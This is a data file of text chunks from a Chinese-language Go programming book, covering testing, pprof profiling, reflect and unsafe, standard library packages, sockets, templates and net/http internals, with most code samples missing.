    {"text": "测试文件中必须导入testing包，单元测试函数是名字以TestXxx开头的全局函数，Xxx部分可以为任意的字母、数字组合，但是首字母不能是小写字母，函数名可以用被测试函数的用途和功能描述，如TestFmtInterface、TestPayEmployees等。"},
    {"text": "单元测试函数一般的形式为： *testing.T是传给单元测试函数的结构类型，用来管理测试状态，支持格式化测试日志，如t.Log、t.Error、t.ErrorF等。"},
    {"text": "常用来通知测试失败的函数有： （1）func (t*T) Fail() 标记测试函数为失败，然后继续执行剩下的测试。 （2）func (t*T) FailNow() 标记测试函数为失败并中止执行。"},
    {"text": "（3）func (t*T) Log(args ...interface{}) args被默认的格式格式化并打印到错误日志中。 （4）func (t*T) Fatal(args ...interface{}) 结合先执行（3），然后执行（2）的效果。"},
    {"text": "13.1.2 基准测试 testing包中有一些类型和函数可以用来做简单的基准测试，测试代码中必须包含名称以BenchmarkZzz开头的基准测试函数并接受一个 *testing.B类型的参数，例如： 命令go test-test.bench=.* 会运行所有的基准测试函数。"},
    {"text": "包代码文件如下所示： 在maths包的路径下，接着创建一个名为maths_test.go的测试程序。 现在可以在这个包的目录下使用命令go test-test.bench=.* 来测试maths包。"},
    {"text": "13.2 调优 13.2.1 分析Go程序 如果代码使用了Go语言中testing包的基准测试功能，则可以用go test标准的-cpuprofile和-memprofile标志向指定文件写入CPU或内存使用情况报告。 可继续在目录GOPATH\\src\\go42\\chapter-13\\13.1\\1\\中运行以下命令： 运行上述命令后，将会基于基准测试结果，把CPU性能情况写到pprof.out文件中，同时也把内存使用情况写到memprof.out文件中。"},
    {"text": "在代码中，pprof包有两种导入方式： net/http/pprof包把runtime/pprof包的功能进行了封装，程序中使用net/http/pprof包可以方便开发者直接在浏览器中查看程序的性能情况。"},
    {"text": "1.Web服务程序 如果编写的Go程序是Web服务，开发人员想查看自己程序的性能情况，可以引入包_\"net/http/pprof\"，程序运行时就可以在浏览器中访问http://localhost:port/debug/pprof/。 例如： 上述代码指定了端口号为8080，在程序运行时访问http://localhost:8080/debug/pprof/，可看到程序运行时内存、协程数量等实时情况。 2.服务进程 如果编写的Go程序是一个服务进程，可以使用net/http/pprof包，然后开启一个协程来监听相应端口。 例如： 访问http://localhost:8080/debug/pprof/，可看到程序运行时的内存、协程数量等实时情况。"},
    {"text": "查看堆栈信息： go tool pprof http://localhost:8080/debug/pprof/heap 查看程序CPU使用信息： go tool pprof http://localhost:8080/debug/pprof/profile 查看block信息： go tool pprof http://localhost:8080/debug/pprof/block 图13-1 pprof block信息 这里还需要先安装graphviz，下载地址为http://www.graphviz.org/download/，在Windows平台上直接下载zip包，解压缩后把bin目录放到$PATH中。"},
    {"text": "例如： 编译后生成3.exe文件并运行命令： GOPATH\\src\\go42\\chapter-13\\13.2\\3>3.exe--cpuprofile=cpu.prof 程序运行完后的CPU信息就会记录到cpu.prof文件中。 现在有了cpu.prof文件，可以通过go tool pprof来查看相应的信息了。 在命令行运行： GOPATH\\src\\go42\\chapter-13\\13.2\\3>go tool pprof 3.exe cpu.prof 注意：需要带上可执行程序的名称以及prof信息文件。"},
    {"text": "图13-3 CPU png文件 通过上面三种情况的分析，可以发现有两种分析方式： （1）url方式：go tool pprof http://localhost:8080/debug/pprof/profile （2）文件方式：go tool pprof 3.exe cpu.prof 可以根据项目情况灵活使用。"},
    {"text": "未知 第14章 系统标准库 Go语言的标准库有丰富的功能包，覆盖了网络、系统、图形、加密、编码、文件、算法等，这里选择部分包简单讲解其大致的使用方法，希望能对引导读者深入了解标准库起到抛砖引玉的作用。"},
    {"text": "Go语言实现了反射，反射机制就是在运行时动态调用对象的方法和属性，标准库的reflect包提供了相关的功能。 在reflect包中，通过reflect.TypeOf()和reflect.ValueOf()分别从类型、值的角度来描述一个Go对象。 在Go语言的实现中，一个接口类型的变量存储了两个信息，即一个<值，类型>对<value,type>。"},
    {"text": "两个简单的函数reflect.TypeOf()和reflect.ValueOf()，返回被检查对象的类型和值。 例如，x被定义为：var x float64=3.4，那么reflect.TypeOf(x)返回float64，reflect.ValueOf(x)返回3.4。"},
    {"text": "Kind()大概会返回切片、字典、指针、结构体、接口、字符串、数组、函数、整型或其他基础类型。 如上面代码中Kind()返回结构体：fmt.Println(p.Kind())，而Type()返回静态类型名Student：fmt.Println(p.Type())。"},
    {"text": "（1）通过反射可以修改对象 通过反射可以修改对象，但对象必须是可寻址的（addressable）。 简单说，如果想通过反射修改对象，就需要把想修改对象的指针传递过来。"},
    {"text": "实际上要修改的是指针指向的数据，需要调用Value类型的Elem()方法。 Elem()方法能够对指针进行间接引用，将结果存储到reflect.Value类型对象中。"},
    {"text": "例如： 程序输出： （2）通过反射可以创建基础类型和用户自定义类型变量 除了可以通过反射创建基础类型和用户自定义类型，还可以使用反射来创建切片、字典、通道，甚至包括函数类型。"},
    {"text": "func Alignof(x ArbitraryType) uintptr func Offsetof(x ArbitraryType) uintptr func Sizeof(x ArbitraryType) uintptr type ArbitraryType int type Pointer*ArbitraryType 就这么少的量，却有着超级强悍的功能。"},
    {"text": "ArbitraryType是以int为基础定义的一个新类型，但在unsafe包中，对ArbitraryType赋予了特殊的意义，通常把interface{}看作任意类型，而ArbitraryType这个类型，比interface{}还要随意。"},
    {"text": "（2）Offsetof返回变量指定属性的偏移量，所以如果变量是一个struct类型，不能直接将这个struct类型的变量当作参数，只能将这个struct类型变量的属性当作参数。"},
    {"text": "在unsafe包中，通过ArbitraryType、Pointer这两个类型，可以将其他类型都转换过来，然后通过这三个函数，分别取长度、偏移量、对齐字节数，就可以在内存地址映射中来回游走。"},
    {"text": "这就要靠uintptr类型了，可以将指针类型先转换成uintptr类型，做完地址加减法运算后，再转换成指针类型，通过*操作达到取值、修改值的目的。"},
    {"text": "uintptr是Go语言的内置类型，是能存储指针的整型，uintptr的底层类型是int，它和unsafe.Pointer可相互转换。 uintptr和unsafe.Pointer的区别是： ■ unsafe.Pointer只是单纯的通用指针类型，用于转换不同类型的指针，不可以参与指针运算。 ■ uintptr是用于指针运算的，GC不把uintptr当指针，即uintptr无法持有对象，uintptr类型的目标会被回收。"},
    {"text": "uintptr和intptr是无符号和有符号的指针类型，并且确保在64位平台上的长度是8B，在32位平台上是4B，uintptr主要用于Go语言中的指针运算。"},
    {"text": "程序输出： 要修改struct字段的值，需要提前知道结构体V的成员布局，然后根据字段计算偏移量，以及考虑对齐值，最后通过指针运算得到成员指针，利用指针达到修改成员值的目的。"},
    {"text": "由于结构体的成员在内存中的分配是一段连续的内存，因此结构体中第一个成员的地址就是这个结构体的地址，也可以认为是相对于这个结构体偏移了0。 同样，这个结构体中的任一成员都可以相对于这个结构体的偏移来计算出自己在内存中的绝对地址。"},
    {"text": "将指针v转成通用指针，再转成int32指针类型。 这里就看到unsafe.Pointer的作用了，不能直接将v转成int32类型的指针，那样将会发生运行时异常，但是unsafe.Pointer可以转为任何指针。"},
    {"text": "接下来给它赋值： 另外，可以看到两种地址表示方式的差异如下： ■ 指针地址：0xc00000c180 ■ 指针uintptr值:824633770368 最后，通过两个Get函数得到结构体i，j的值，发现它们已经被修改。"},
    {"text": "经过在64位计算机上测试，发现地址（uintptr）如下： 可以初步推断，也经过测试验证，取i值使用uintptr(4*unsafe.Sizeof(byte(0)))是准确的。"},
    {"text": "14.3 sort包 14.3.1 sort包介绍 Go语言标准库sort包中实现了几种基本的排序算法：插入排序、快速排序和堆排序，但在使用sort包进行排序时无需具体考虑使用哪种排序方式。"},
    {"text": "只要实现了这三个方法，就可以对数据集合进行排序，sort包会根据实际数据自动选择高效的排序算法。 sort包原生支持[]int、[]float64和[]string三种内建数据类型切片的排序操作，即不必程序员自己实现相关的Len()、Less()和Swap()方法。 以[]int为例，看看在sort包中是怎么定义排序操作的。 先通过[]int来定义新类型IntSlice，然后在IntSlice上定义三个方法Len()，Less(i, j int)，Swap(i, j int)，实现了这三个方法也就意味着实现了sort.Interface接口。 方法func (p IntSlice) Sort()通过调用sort.Sort(p)函数来实现排序，而Sort(p)需要参数p是sort.Interface类型，但IntSlice实现了这三个接口方法，也就是sort.Interface类型，因此可以直接调用得到排序结果。"},
    {"text": "14.3.2 自定义sort.Interface排序 如果是[]int、[]float64和[]string之外的某个具体结构体的排序，就需要自己实现sort.Interface了。 数据集合（包括自定义数据类型的集合）排序需要实现sort.Interface接口的三个方法，即：Len()、Swap(i, j int)、Less(i, j int)，数据集合实现这三个方法后，即可调用该包的Sort()方法进行排序。 Sort(data Interface)方法内部会使用quickSort()来进行集合的排序，而quickSort()会根据实际情况来选择排序算法。 任何实现了sort.Interface的类型（一般为集合），均可使用该包中的方法进行排序。"},
    {"text": "程序输出： 14.4 os包 14.4.1 启动外部命令和程序 标准库的os包是一个比较重要的包，主要用在服务器上进行系统的基本操作，如文件操作、目录操作、执行命令、信号与中断、进程、系统状态等等。"},
    {"text": "例如： 14.4.2 os/signal信号处理 一个运行良好的程序在退出（正常退出或者强制退出，如Ctrl+C，kill等）时会执行一段清理代码，将收尾工作做完后再真正退出。 一般采用系统信号来通知系统退出，如kill pid。 在程序中针对一些系统信号设置了处理函数，当收到信号后，会执行相关清理程序或通知各个子进程做自清理。"},
    {"text": "下面的代码以syscall.SIGUSR2信号为例，说明具体实现方法： 这里可以接收Ctrl+C中断信号，在主程序中的通道会阻塞直到协程发来中断信号，可在收到中断信号后处理，例如关闭网络连接、保存状态信息等，然后优雅退出。"},
    {"text": "如果后缀是ln，则有换行符。 ■ Println、Fprintln、Sprintln 输出内容时会加上换行符。 ■ Print、Fprint、Sprint 输出内容时不加上换行符。 ■ Printf、Fprintf、Sprint f 按照指定格式化文本输出内容。 （2）如果把Print理解为核心关键字，前缀有F和S，着重的是内容输出到的对象。"},
    {"text": "■ Print、Printf、Printl n 输出内容到标准输出os.Stdout。 ■ Fprint、Fprintf、Fprintln 输出内容到指定的io.Writer。 ■ Sprint、Sprintf、Sprintln 输出内容到字符串。"},
    {"text": "■ Scan、Scanf、Scanl n 从标准输入os.Stdin读取文本。 ■ Fscan、Fscanf、Fscanln 从指定的io.Reader接口读取文本。 ■ Sscan、Sscanf、Sscanln 从一个参数字符串读取文本。"},
    {"text": "格式化输出中格式字符串由普通字符和占位符组成，例如： 上面代码中，%+#8.3[3]v是占位符，占位符以%开头，以动词（verb）结尾，格式字符串格式如下： 下面来了解有哪些动词。"},
    {"text": "（1）通用类动词适用于所有的类型数据，见表14-1。 表14-1 通用类动词 （2）布尔类型动词只适用于布尔类型数据，见表14-2。 表14-2 布尔类型动词 （3）整型类型动词只适用于整型类型数据，见表14-3。 表14-3 整型类型动词 （续） （4）浮点和复数类型动词适用于浮点类型和复数类型数据，见表14-4。 表14-4 浮点和复数类型动词 （5）字符串和字节数组动词适用于字符串和字节数组类型数据，见表14-5。 表14-5 字符串和[]byte类型动词 （6）指针类型动词适用于指针类型数据，见表14-6。"},
    {"text": "14.6 flag包 14.6.1 命令行 写命令行程序时需要对命令参数进行解析，这时可以使用标准库的os包。 os包可以通过变量Args来获取命令参数，os.Args返回一个字符串数组，其中第一个参数就是执行文件本身。"},
    {"text": "首先，flag包支持的标志格式有： -flag // 代表bool值，相当于-flag=true -flag=x // 支持所有的值。 -flag x // 不支持bool值标志 命令行参数（或参数）是指运行程序提供的参数，非flag（non-flag）命令行参数（或保留的命令行参数）可以简单理解为flag包不能解析的参数。"},
    {"text": "flag包实现命令行参数的解析，大致需要以下几个步骤。 1.flag参数定义或绑定 定义flags有两种方式： （1）flag.Xxx()，其中Xxx可以是Int、String等，返回一个相应类型的指针，如： （2）flag.XxxVar()，将flag绑定到一个变量上，如： 另外，还可以创建自定义flag，只要实现flag.Value接口即可（要求receiver是指针）。"},
    {"text": "parseOne方法中接下来是处理-flag=x，然后是-flag（bool类型）（这里对bool进行了特殊处理），接着是-flag x这种形式，最后将解析成功的Flag实例存入FlagSet的actual字段中。"},
    {"text": "flag解析遇到non-flag参数就停止了。 所以如果将non-flag参数放在最前面，flag什么也不会解析，因为flag遇到non-flag参数就停止解析了。"},
    {"text": "从上面函数定义中可以发现一个情况，那就是os包中各个函数打开（创建）文件的操作，最终还是通过OpenFile()函数来实现，而OpenFile()由编译器根据操作系统的情况选择不同的底层功能来实现，对这个实现细节有兴趣的读者可以仔细了解os包，这里就不展开讲了。 os.Open(name string)使用只读模式打开文件。 os.Create(name string)创建新文件，如文件存在则原文件内容会丢失。 os.OpenFile(name string, flag int, perm FileMode)这个函数可以指定flag和FileMode。"},
    {"text": "OpenFile()函数的flag标志参数含义如下： 在标准库的ioutil包中，也可以对文件进行操作，主要有下面三个函数： 这三个函数涉及文件I/O操作，而对文件的操作除了打开（创建）、关闭外，更主要的是对内容的读写操作，即文件I/O的处理。"},
    {"text": "有关缓冲，读者需要知道： ■ 内核中的缓冲：无论进程是否提供缓冲，内核都是提供缓冲的，系统对磁盘的读写都会提供一个缓冲（内核高速缓冲），将数据写入到块缓冲进行排队，当块缓冲达到一定的量时，才把数据写入磁盘。 ■ 进程中的缓冲：是指对输入输出流进行改进，提供一个流缓冲，当调用一个函数向磁盘写数据时，先把数据写入缓冲区，当达到某个条件，如流缓冲已满或刷新流缓冲，这时候才会把数据一次送往内核提供的块缓冲中，再经块缓冲写入磁盘。"},
    {"text": "例如： （2）ioutil包，没有直接实现Reader和Writer接口，但是通过内部调用，也可读写文件内容。 （3）使用bufio包，这个包实现了I/O的缓冲操作，通过内嵌io.Reader和io.Writer接口，新建了Reader和Writer结构体，同时也实现了Reader和Writer接口。"},
    {"text": "log包最主要的结构体是Logger： 日志写入时存在缓冲区，而且有互斥锁来保证操作的原子性，这两点对日志处理的安全性和写性能都有一定的保证。"},
    {"text": "可以设置日志前缀信息prefix，可以指定日志flag如时间格式、记录代码文件名和行数。 下面考虑写入到日志文件My.Log，并通过SetPrefix()设置日志的前缀。"},
    {"text": "未知 第15章 网络服务 15.1 Socket 15.1.1 Socket基础知识 TCP/IP、UDP构成了网络通信的基石，TCP/IP是面向连接的通信协议，要求建立连接时进行3次握手确保连接已被建立，关闭连接时需要4次通信（挥手）来保证客户端和服务端都已经关闭。"},
    {"text": "Socket就是封装了这一套基于TCP/UDP/IP的细节，提供了一系列套接字接口进行通信。 Socket有两种：TCP Socket和UDP Socket，TCP和UDP是协议，要确定一个进程需要三元组，因此还需要IP地址和端口。"},
    {"text": "（1）IPv4地址 目前全球因特网采用的协议族是TCP/IP。 IP是TCP/IP中网络层的协议，是TCP/IP协议族的核心协议。 主要采用的IP的版本号是4（简称为IPv4），IPv4的地址位数为32位，也就是最多有2 32 个网络设备可以连到Internet上。 IPv4地址格式举例：127.0.0.1。 （2）IPv6地址 IPv6是新一版本的互联网协议，也可以说是新一代互联网的协议，它是为了解决IPv4在实施过程中遇到的各种问题而提出的，IPv6采用128位地址长度，几乎可以不受限制地提供地址。 在IPv6的设计过程中除了一劳永逸地解决了地址短缺的问题外，还考虑了在IPv4中解决不好的其他问题，如端到端IP连接、服务质量（QoS）、安全性、多播、移动性、即插即用等。"},
    {"text": "15.1.2 TCP与UDP Go语言是自带运行时的跨平台编程语言，Go语言中暴露给使用者的socket是建立在系统原生socket编程接口之上的，使用相对简单。"},
    {"text": "Go语言net包封装了系列API，在TCP连接中，服务端是一个标准的Listen+Accept的结构，而在客户端Go语言使用net.Dial或DialTimeout进行连接建立。 在Go语言的net包中有一个类型TCPConn（只有一个嵌入字段Conn），可以用作客户端和服务器端交互的通道，它有两个主要的方法。"},
    {"text": "在Go语言中通过ResolveTCPAddr获取一个TCPAddr： ResolveTCPAddr()函数的参数net是tcp4，tcp6，tcp中的任意一个，分别表示TCP（IPv4-only），TCP（IPv6-only）或TCP（IPv4，IPv6中的任意一个）。"},
    {"text": "在func tcpPipe(conn *net.TCPConn)中，处理服务端和客户端数据的交换，通过bufio.NewReader读取客户端发送过来的数据，同时conn.Write(b)向客户端发送数据。"},
    {"text": "客户端代码如下： 客户端net.DialTCP(\"tcp\", nil, tcpAddr)向服务端发起一个连接请求，调用onMessage Recived(conn)，处理客户端和服务端数据的发送与接收。"},
    {"text": "15.2 模板（Template） fmt.Printf可以做到格式化输出，这对于简单的例子已经足够，但是有时候还需要更加复杂的输出格式，甚至需要将格式与代码分离开来。"},
    {"text": "现在把这个模板内容存在一个文本文件tmp.txt里。 模板文件tmp.txt内容如下： 接下来，使用template.ParseFiles(\"tmp.txt\")来加载模板文件，并最终执行渲染模板结果。 示例代码如下： 程序输出如下： 使用template.ParseFiles(\"tmp.txt\")加载模板文件时，如有多个.txt模板文件，可以用template.ParseGlob(*.txt)这种正则匹配模式来加载模板文件，当然也可以使用template.ParseFiles(\"a.txt\",\"b.txt\",\"c.txt\")这种方式加载。"},
    {"text": "15.2.2 html/template包 和text/template类似，html/template主要提供支持HTML模板的功能，二者使用方法差不多，下面来看看Go语言利用html/template怎样实现一个动态HTML页面。"},
    {"text": "index.html.tmpl模板文件如下： Go语言程序代码如下： 运行程序，在浏览器中打开http://localhost:8080/，可以看到浏览器页面显示Hello World! 如果模板文件这时有修改，刷新浏览器后页面也会立即更新，这个过程并不需要重启Web服务。"},
    {"text": "从上面简单的代码中可以看到，通过ParseFile()加载了单个HTML模板文件，当然也可以使用ParseGlob()加载多个模板文件。 如果最终的页面是多个模板文件的嵌套结果，ParseFiles()函数也支持加载多个模板文件，模板对象的名字则是第一个模板文件的文件名。"},
    {"text": "如果需要把数据传递到指定模板执行渲染，可以使用ExecuteTemplate()，这个方法可用于执行指定名字的模板，因为在多个模板文件加载情况下，需要指定特定的模板渲染执行。"},
    {"text": "Layout.html.tmpl模板如下： 注意模板文件开头，根据模板语法定义了模板名字{{define\"layout\"}}。 在模板layout中，通过{{ template \"index\" }}嵌入了模板index，也就是第二个模板文件index.html.tmpl，这个模板文件定义了模板名{{define\"index\"}}。 Index.html.tmpl模板如下： 注意：将数据应用于模板来执行数据渲染可获得输出。"},
    {"text": "图15-1 显示内容 15.2.3 模板语法 模板使用起来比较灵活，如果要用好模板功能，需要对模板的语法有一定了解，下面简单介绍一些语法功能。"},
    {"text": "{{.Admpub}} 表示输出对象中字段或方法名称为Admpub的值。 当Admpub是匿名字段时，可以访问其内部字段或方法, 如\"Com\"：{{.Admpub.Com}}。 如果Com是一个方法并返回一个结构体对象，同样也可以访问其字段或方法：{{.Admpub.Com.Field1}}。"},
    {"text": "（4）通道函数 {{FuncName1}} 此标签将调用名称为\"FuncName1\"的模板函数（等同于执行\"FuncName1()\"，不传递任何参数）并输出其返回值。 {{FuncName1 \"参数值 1\"\"参数值 2\"}} 此标签将调用FuncName1(\"参数值 1\", \"参数值 2\")，并输出其返回值。 {{.Admpub|FuncName1}} 此标签将调用名称为\"FuncName1\"的模板函数（等同于执行\"FuncName1(this.Admpub)\"，将竖线\"|\"左边的\".Admpub\"变量值作为函数参数传送）并输出其返回值。"},
    {"text": "（5）条件判断 {{if pipeline}}T1{{end}} 标签结构为{{if ...}}...{{end}}。 {{if pipeline}}T1{{else}}T0{{end}} 标签结构为{{if ...}}...{{else}}...{{end}}。 {{if pipeline}}T1{{else if pipeline}}T0{{end}} 标签结构为{{if ...}}...{{else if ...}}...{{end}}。"},
    {"text": "（6）循环遍历 {{range$k,$v:=.Var}}{{$k}}=>{{$v}}{{end}} range...end结构内部如要使用外部的变量，如.Var2，需要写为：$.Var2（即在外部变量名称前加字符$）。 {{range .Var}}{{.}}{{end}} 将遍历值直接显示出来。 {{range pipeline}}T1{{else}}T0{{end}} 当没有可遍历的值时，将执行else部分。"},
    {"text": "（7）嵌入子模板 {{template\"name\"}} 嵌入名称为\"name\"的子模板。 使用前请确保已经用{{define\"name\"}}子模板内容{{end}}定义好了子模板内容。 {{template\"name\"pipeline}} 将通道的值赋给子模板中的\".\"（即\"{{.}}\"）。 （8）子模板嵌套 输出如下： （9）定义局部变量 {{with pipeline}} T1{{end}}通道的值将赋给该标签内部的\".\"。"},
    {"text": "（10）输出字符串 {{\"\\\"output\\\"\"}} 输出一个字符串常量。 {{`\"output\"`}} 输出一个原始字符串常量。 {{printf\"%q\"\"output\"}} 函数调用，相当于printf(\"%q\",\"output\")。 {{\"output\"|printf\"%q\"}} 竖线\"|\"左边的结果作为函数最后一个参数，相当于printf(\"%q\",\"output\")。 {{printf \"%q\" (print \"out\"\"put\")}} 圆括号中表达式的整体结果作为printf函数的参数，相当于printf(\"%q\", print(\"out\",\"put\"))。 {{\"put\" | printf \"%s%s\"\"out\" | printf \"%q\"}} 一个更复杂的调用，相当于printf(\"%q\", printf(\"%s%s\",\"out\",\"put\"))。 {{\"output\"|printf\"%s\"|printf\"%q\"}} 相当于printf(\"%q\", printf(\"%s\",\"output\"))。 {{with \"output\"}}{{printf \"%q\" .}}{{end}} 一个使用点号\".\"的with操作，相当于printf (\"%q\",\"output\")。 {{with$x:=\"output\"|printf\"%q\"}}{{$x}}{{end}} with结构定义变量，值为执行通道函数之后的结果，相当于$x:=printf(\"%q\",\"output\")。 {{with$x:=\"output\"}}{{printf\"%q\"$x}}{{end}} with结构中，在其他动作中使用定义的变量。 {{with $x :=\"output\"}}{{$x | printf \"%q\"}}{{end}} with结构使用了通道，相当于printf (\"%q\",\"output\")。"},
    {"text": "{{call .X.Y 1 2}} 模板全局函数call，后面的第一个参数的结果必须是一个函数（即这是一个函数类型的值），其余参数作为该函数的参数。"},
    {"text": "{{print}} 模板全局函数print，fmt.Sprint的别名。 {{printf}} 模板全局函数printf，fmt.Sprintf的别名。 {{println}} 模板全局函数println，fmt.Sprintln的别名。"},
    {"text": "（12）布尔函数 {{eq arg1 arg2}} 布尔函数eq，返回表达式\"arg1==arg2\"的布尔值。 {{ne arg1 arg2}} 布尔函数ne，返回表达式\"arg1 !=arg2\"的布尔值。 {{lt arg1 arg2}} 布尔函数lt，返回表达式\"arg1<arg2\"的布尔值。 {{le arg1 arg2}} 布尔函数le，返回表达式\"arg1<=arg2\"的布尔值。 {{gt arg1 arg2}} 布尔函数gt，返回表达式\"arg1>arg2\"的布尔值。 {{ge arg1 arg2}} 布尔函数ge，返回表达式\"arg1>=arg2\"的布尔值。"},
    {"text": "例如： 相当于 15.3 net/http包 在Go语言中，可以非常快速地搭建一个HTTP服务器，因为只需要引入net/http包，写几行代码，一个HTTP服务器就可以正常运行并接受访问请求。 下面就是Go语言实现的最简单的HTTP服务器，类似代码在15.2节中已经出现过。"},
    {"text": "这个包最主要的文件有四个，分别是： ■ client.go ■ server.go ■ request.go ■ response.go 这四个文件也分别代表了HTTP中最重要的四个部分，即http Request、http Response、http Client和http Server。"},
    {"text": "http Request请求是http Client客户端向http Server服务端发出的消息，或者是http Server服务端收到的一个请求，但是http Server服务端和http Client客户端使用Request时语义区别很大。 一般使用http.NewRequest来构造一个http Request请求，可能包括http Headers信息、cookies信息等，然后发给服务端。 以下是request.go文件中和http Request相关的方法，利用这些方法可以构造出各种http Request。 15.3.2 http Response 在net/http包中，response.go文件定义了结构体： http Response是由http Server发出的消息，用来响应http Client发出的http Request请求。"},
    {"text": "15.3.3 http Client 在net/http包中，client.go文件定义了结构体： http Client客户端主要用来发送http Request给http Server服务端，例如以Do方法、Get方法以及Post或PostForm方法发送http Request。 以下是client.go文件中和http Client相关的方法，利用这些方法可以发送http Request给http Server。 通过对client.go，request.go，response.go这三个文件的了解可以知道，http.NewRequest可以灵活地对http Request进行配置，然后再使用http.Client的Do方法发送http Request。 注意：如果使用Post或者PostForm方法，是不能使用http.NewRequest配置请求的，只有Do方法可以定制http.NewRequest。 利用http.Client以及http.NewRequest可以完整模拟一个http Request，包括自定义的http Request的头部信息。 有了前面介绍的http Request、http Response、http Client三个部分，就可以模拟各种http Request的发送，接收http Response了。 （1）模拟任何http Request请求。 下面来模拟http Request，请求中附带有cookie信息，通过http.Client的Do方法发送这个请求。 先配置http.NewRequest，然后通过http.Client的Do方法来发送任何http Request。"},
    {"text": "（2）发送一个http.Get请求。 使用http.Get发送http Get请求非常简单，在一般不需要配置http.Request的场合可以使用，只要提供URL即可。 示例如下： （3）发送一个http.Post请求。 使用http.Post发送http Post请求也非常简单，在一般不需要配置http.Request的场合可以使用。 示例如下： （4）发送一个http.PostForm请求。 使用http.PostForm发送http Request请求也非常简单，而且可以附带参数的键-值对作为请求的body传递到服务端。 示例如下： 上面列举了四种http Client发送http Request的方式，其中Do方法最灵活。 http.Client与http.NewRequest结合并使用Do方法可以模拟任何http Request请求。 对于Get方法、Post方法和PostForm方法，http.NewRequest都是定制好的，虽然使用方便但灵活性不够。 不过好在有Do方法，可以更灵活地配置http.NewRequest。 下面的代码演示了Get方法和Post方法如何使用http.NewRequest配置特定的http Request。"},
    {"text": "以下是server.go文件中和http Server相关的方法，利用这些方法可以把收到的http Request处理后，以http Response的形式返回给http Client。 在server.go文件中定义了结构体response，它专门用作服务端响应。 在server.go文件中定义了一个非常重要和关键的接口Handler，如果仔细阅读server.go的源代码，就会发现很多结构体实现了这个接口的ServeHTTP方法。"},
    {"text": "没错，最终的HTTP服务通过实现ServeHTTP(ResponseWriter,*Request)方法来达到服务端接收客户端请求并响应的目的。 理解HTTP构建的网络应用只要关注客户端（Clinet）和服务端（Server），两个端的交互来自客户端的请求以及服务端的响应。 HTTP服务器的核心主要在于服务端如何接受客户端的请求，并向客户端返回响应。"},
    {"text": "通过net/http包源代码分析发现，Http.Handle Func按顺序做了以下几件事。 （1）Http.HandleFunc调用了DefaultServeMux的HandleFunc。 （2）DefaultServeMux.HandleFunc调用了DefaultServeMux的Handle，DefaultServeMux是一个ServeMux指针变量。 而ServeMux是Multiplexer（多路复用器），通过Handle匹配pattern和程序中定义的handler（其实就是http.HandlerFunc函数类型变量）。 上面的方法命名Handle，HandleFunc和HandlerFunc，Handler（接口）很相似，容易混淆。 记住Handle和HandleFunc与pattern匹配有关，即向DefaultServeMux的map[string]muxEntry中增加对应的handler和路由规则。"},
    {"text": "所以http.HandleFunc(\"/\", myfunc)实际上是mux.Handle(\"/\", HandlerFunc(myfunc))。 HandlerFunc(myfunc)让myfunc成为了HandlerFunc类型，称myfunc为handler。 而HandlerFunc类型是具有ServeHTTP方法的，因此也就实现了Handler接口。 现在ServeMux和Handler都和程序中的myfunc联系上了，myfunc是一个Handler接口变量，也是HandlerFunc类型变量，接下来和结构体server有关了。"},
    {"text": "从http.ListenAndServe的源码可以看出，它创建了一个server对象，并调用server对象的ListenAndServe方法。 而我们的HTTP服务器中第二行代码如下： 以上代码创建了一个server对象，并调用server对象的ListenAndServe方法。"},
    {"text": "Server的ListenAndServe方法中，会初始化监听地址Addr，同时调用Listen方法设置监听。 监听开启之后，一旦客户端请求过来，Go就开启一个协程go c.serve(ctx)处理请求，主要逻辑都在serve方法中。 func (c*conn) serve(ctx context.Context)这个方法很长，核心的一句是serverHandler{c.server}.ServeHTTP(w, w.req)。 其中w由w, err:=c.readRequest(ctx)得到，同时传递context进来。"},
    {"text": "从http.ListenAndServe(\":8080\", nil)开始，handler是nil，所以最后ServeHTTP方法实际是DefaultServeMux.ServeHTTP(rw, req)。 通过func (mux*ServeMux) Handler(r*Request) (h Handler, pattern string)得到Handler h，然后执行h.ServeHTTP(w, r)方法，也就是执行我们的myfunc函数（别忘了myfunc是HandlerFunc类型，而它的ServeHTTP(w, r)方法其实就是自己调用自己），把response写到http.ResponseWriter对象返回给客户端fmt.Fprintf(w, \"hi\")，我们在客户端会接收到hi。"},
    {"text": "上面代码实际上就是server.ListenAndServe()执行的实际效果，只不过简单声明了一个结构体Server{Addr: addr, Handler: handler}实例。 如果声明一个Server实例，完全可以达到深度自定义http.Server的目的： 这样服务也能跑起来，而且程序员完全可以根据情况来自定义Server！ 还可以指定Servemux的用法： 如果既指定Servemux又自定义http.Server，因为Server中有字段Handler，所以可以直接把Servemux变量作为Server.Handler： 在前面讲解pprof时提到，通过访问http://localhost:8080/debug/pprof/可以看到对应的性能分析报告。"},
    {"text": "因为这样导入_\"net/http/pprof\"包时，在文件pprof.go中init()函数已经定义好了handler。 也就是说随着HTTP服务程序的运行，由init()函数初始化的handler也就开始提供服务了。"},
    {"text": "15.3.5 自定义类型Handler 标准库中的net/http包提供了非常重要的Handler接口： 开发者若要实现自己的handler，只需实现接口的ServeHTTP方法即可。"},
    {"text": "15.3.6 将函数直接作为Handler 因为只要是func(http.ResponseWriter，*http.Request)签名的函数，都可以作为Handler，所以可以直接将这类签名的函数作为Handler。"},
    {"text": "例如： 直接利用http.HandlerFunc(timeHandler)来强制转换。 因为timeHandler(w http.ResponseWriter, r*http.Request)的签名是HandlerFunc类型，所以直接转换是没有问题的。"},
    {"text": "15.3.7 中间件 所谓中间件（Middleware），就是连接上下级不同功能的函数或者软件，通常进行一些包裹函数的行为，为被包裹函数添加一些功能或行为。"},
    {"text": "Go语言中的函数也可以当成变量传递或者返回，因此也可以在中间件函数中传递定义好的函数，只要这个函数是一个handler，就能实现或者被handlerFunc转换为handler。"},
    {"text": "例如： 15.3.8 搭建静态站点 一般在实际中，往往会把网站的静态类文件如js文件、图标、css等作为资源站点供用户访问。 以下代码通过指定目录，快速实现目录下所有文件作为静态站点资源对外提供服务，再也不用配置Web服务器了。"},
    {"text": "但在处理一个请求时，往往可能需要在多个协程之间进行信息传递，甚至包括一层层地递进顺序传递，而且这种信息往往具有一定的场景状态。 如一个请求可能衍生出各个协程之间需要满足一定的约束关系，如登录状态、前一个协程的计算结果、传递请求全局变量等功能。"},
    {"text": "这些都可以通过Context来实现，Context就像是Request中的全局变量能让大家共享数据，当然实际上它是需要创建并传递的。 context包实现了在程序协程之间共享状态变量的方法，在被调用程序单元的外部，通过设置上下文变量ctx，将过期或取消信号传递给被调用的程序单元。 Context包中定义的Context结构如下所示： ■ Deadline会返回一个超时时间，超时后Context无效。"},
